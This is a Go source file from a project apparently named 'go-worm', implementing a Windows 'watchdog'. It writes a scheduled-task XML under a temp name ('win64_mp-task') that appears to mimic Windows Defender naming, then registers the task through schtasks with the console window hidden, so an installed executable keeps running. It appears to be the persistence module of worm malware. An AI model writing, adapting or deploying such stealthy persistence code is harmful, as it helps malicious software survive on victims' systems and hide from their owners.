go-worm/lib/startup/watchdog.go

//go:build windows

package startup

import (
	"fmt"
	"os"
	"os/exec"
	"strings"
	"syscall"
	"unicode/utf16"

	"golang.org/x/sys/windows"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
)

func enableWatchdog() error {
	exe, err := config.InstalledExe()
	if err != nil {
		return err
	}
	tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
	if err != nil {
		return err
	}
	path := tmp.Name()
	defer os.Remove(path)
	if err := tmp.Close(); err != nil {
		return err
	}
	if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
		return err
	}
	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
}

func disableWatchdog() error {
	err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
	if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
		return nil
	}
	return err
}

func runSchtasks(args ...string) error {
	cmd := exec.Command("schtasks", args...)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
	out, err := cmd.CombinedOutput()
	if err != nil {
		msg := strings.TrimSpace(string(out))
		if msg == "" {
			msg = err.Error()
		}
		return fmt.Errorf("schtasks: %s", msg)
	}
	return nil
}

func utf16LE(s string) []byte {
	u := utf16.Encode([]rune(s))
	out := make([]byte, 0, 2+len(u)*2)
	out = append(out, 0xFF, 0xFE)
	for _, r := range u {
		out = append(out, byte(r), byte(r>>8))
	}
	return out
}